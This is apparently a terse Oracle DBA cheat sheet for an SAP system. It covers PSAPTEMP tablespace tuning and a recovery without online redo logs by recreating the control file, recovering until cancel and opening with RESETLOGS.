v$session_wait waiting sessions and corresponding events
PSAPTEMP TUNING
alter tablespace psaptemp default storage ( initial 25M next 25M );
alter tablespace psaptemp permanent;
alter tablespace psaptemp coalesce;
RECOVER WITHOUT ONLINE REDOS:
startup nomount
create controlfile:
find . -name "*.data*"|awk -F/ '{print "~/oracle/SID/" $2 "/" $3 "/" $4 "~,"}'|sed "s/~/\'/g" >> Imre.sql
Imre.sql:
CREATE CONTROLFILE SET DATABASE "SID" RESETLOGS NOARCHIVELOG
MAXLOGFILES 255
MAXLOGMEMBERS 3
MAXDATAFILES 508
MAXINSTANCES 50
MAXLOGHISTORY 1000
LOGFILE
GROUP 11 (
'/oracle/SID/origlogA/log_g11m1.dbf',
'/oracle/SID/mirrlogA/log_g11m2.dbf'
) SIZE 100M,
GROUP 12 (
'/oracle/SID/origlogB/log_g12m1.dbf',
'/oracle/SID/mirrlogB/log_g12m2.dbf'
) SIZE 100M,
GROUP 13 (
'/oracle/SID/origlogA/log_g13m1.dbf',
'/oracle/SID/mirrlogA/log_g13m2.dbf'
) SIZE 100M,
GROUP 14 (
'/oracle/SID/origlogB/log_g14m1.dbf',
'/oracle/SID/mirrlogB/log_g14m2.dbf'
) SIZE 100M
DATAFILE
...
@Imre.sql
recover database using backup controlfile until cancel;
alter database open resetlogs;